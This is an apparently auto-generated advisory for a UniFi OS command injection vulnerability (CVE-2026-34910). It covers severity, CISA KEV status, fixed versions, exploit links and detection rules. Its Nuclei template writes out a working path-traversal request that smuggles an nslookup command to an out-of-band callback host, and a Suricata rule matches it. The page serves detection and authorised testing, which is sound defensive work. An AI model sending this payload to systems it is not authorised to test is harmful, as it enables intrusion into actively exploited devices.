CVE-2026-34910: Ubiquiti UniFi OS Improper Input Validation Vulnerability

What it is

A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.

Description quoted from the CVE record (assigned by hackerone, published 2026-05-22).

Weakness: CWE-20 Improper Input Validation

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since

2026-06-23

US federal deadline

2026-06-26

Ransomware use

Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-07798, EUVD-2026-31382, GHSA-fvgm-jgwh-qwx7

VEDAS cluster: VEDAS:FREAKFENNEC

Exploit Observer links 8 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (8)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

• Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2026/CVE-2026-34910.yaml
• Code repository: https://github.com/boreas37/cve-2026-34910-poc
• Code repository: https://github.com/gagaltotal/cve-2026-34910-unifi-poc
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-34910.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/nuclei/2026/CVE-2026-34910.yaml
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-34910.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-34910.rules
• Code repository: https://raw.githubusercontent.com/ARPSyndicate/vedas-signatures/main/suricata/2026/CVE-2026-34910.rules

Research and write-ups (1)

• Research or write-up: https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

• Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-31382
• Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-fvgm-jgwh-qwx7
• Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-34910
• Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34910

59 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS

0.900
very likely to be attacked soon

VEDAS

0.989
strong exploit evidence

On CISA KEV

Yes, since 2026-06-23

Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

11 more products are listed in the CVE record.

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: ubiquiti_networks unifi_os_server, ui unas_2_firmware, ui unas_4_firmware, ui unas_pro_4_firmware, ui unas_pro_8_firmware, ui unas_pro_firmware, ui unifi_express_7_firmware, ui unifi_os_server.

How to fix it

Fixed versions stated in the CVE record: 5.0.8, 5.1.12, 5.1.11, 5.1.10.

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

• https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b
• https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
• https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
• https://nvd.nist.gov/vuln/detail/CVE-2026-34910

How to detect it

Nuclei template (active check)

UniFi OS - Command Injection

A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-34910.yaml

id: CVE-2026-34910

info:
  name: "UniFi OS - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in
    UniFi OS devices to execute a Command Injection.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-34910&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=unifi&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-34910
  metadata:
    verified: false
  tags: cve,cve2026,unifi,rce,vkev,kev
http:
  - raw:
      - |
        GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=%3b+nslookup+{{interactsh-url}}+%3b HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body , "CODE_SYSTEM_ERROR", "System failure")'
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and

CVE-2026-34910.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-34910 UniFi OS - Command Injection. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-34910 UniFi OS - Command Injection"; flow:established,to_server; http.uri; content:"..%2f..%2f..%2fproxy"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-34910; reference:url,https://www.exploit.observer/?keyword=CVE-2026-34910&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=unifi&match=exact; sid:1010172; rev:1;)

CVE-2026-34910.rules on GitHub

References

Exploits and technical analysis

• https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/ (third-party-advisory)

Government sources

• https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34910 (government-resource)

Other references

• https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.